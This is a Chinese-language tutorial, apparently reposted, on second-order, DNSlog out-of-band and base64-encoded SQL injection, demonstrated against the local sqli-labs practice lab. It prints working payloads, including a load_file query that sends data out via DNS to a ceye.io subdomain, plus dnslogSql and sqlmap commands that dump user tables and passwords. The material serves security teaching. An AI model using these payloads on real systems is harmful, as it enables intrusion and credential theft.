SQL注入之二次,加解密,DNS等注入


#sql注入之二次注入

1.注入原理

二次注入可以理解為,構造惡意數據存儲在數據庫后,惡意數據被讀取並進入到了SQL查詢語句所導致的注入。惡意數據插入到數據庫時被處理的數據又被還原並存儲在數據庫中,當Web程序調用存儲在數據庫中的惡意數據並執行SQL查詢時,就發生了SQL二次注入。

二次注入可分為兩步:

第一步:插入惡意數據

進行數據庫插入數據時,對其中的特殊字符進行了轉義處理,在寫入數據庫的時候又保留了原來的數據。

第二步:引用惡意數據

開發者默認存入數據庫的數據都是安全的,在進行查詢時,直接從數據庫中取出惡意數據,沒有進行進一步的檢驗處理。

 2.靶場演示

sqlilabs第24關

 發現默認用戶為admin密碼未知

 嘗試新建一個用戶admin'#進行二次注入

查看數據庫,已經添加成功

登陸admin'#

可以修改密碼,我們查看此頁面的網站源碼,發現更新用戶密碼的sql語句如圖:

我們修改用戶admin'#的密碼的SQL語句為:

$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";

注釋掉后面的語句,就變成了修改用戶admin的密碼了,而admin'#用戶密碼沒有改變。

 #DNSlog帶外注入

1.帶外注入原理

帶外注入是為了解決一些注入沒有回顯,也不能進行時間盲注的情況。也就是利用其他的協議或渠道,如http請求、DNS解析、SMB服務等京數據帶出。

2.靶場演示

首先在http://ceye.io/注冊一個賬號,記錄以下信息

 使用sqlilabs第9關進行演示

不會顯示任何信息:

 構造pylaod:

http://127.0.0.1/sqli-labs/Less-2/?id=-1 and if ((select load_file(concat('\\\\',(select version()),'.xxxx.ceye.io\abc'))),1,0)--+

在平台上查看返回的值:

 3.工具使用

工具地址 :https://github.com/adooo/dnslogsqlinj

需要使用python27環境

首先需要修改配置文件:

 

 使用語句如下:

獲取數據庫名:
python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" --dbs  
獲取數據庫security下的表名:
python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security --tables
獲取users表的列名:
python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security -T users --columns
獲取uses表中的數據:
python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security -T users -C username,password --dump

 #sql注入加解密

小伙伴們可能會碰到有的url中有base64編碼或者其他編碼,在此類注入時我們需要先夠造注入語句再進行轉碼,最后得到的編碼再注入。

sqlmap中有相應的插件,可使用語句:

sqlmap -u http://xxxx.com/index.php?id=MQ== --tamper base64encode.py –dbs

或者進行中轉注入。

#中轉注入

大體意思就是將傳參用base64編碼,再與url進行拼接。在開啟htt服務用sqlmap或其他工具進行測試這個文件即可.

首先構造文件:

大體意思就是將傳參用base64編碼,再與url進行拼接。

其中base64_decode()函數是將傳入的參數進行base64編碼。

file_get_contents()函數是用來將文件的內容讀入到一個字符串中的首選方法。

例如sqlmap:

python sqlmap.py -u "http://127.0.0.1/test.php?x=" -v 3

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM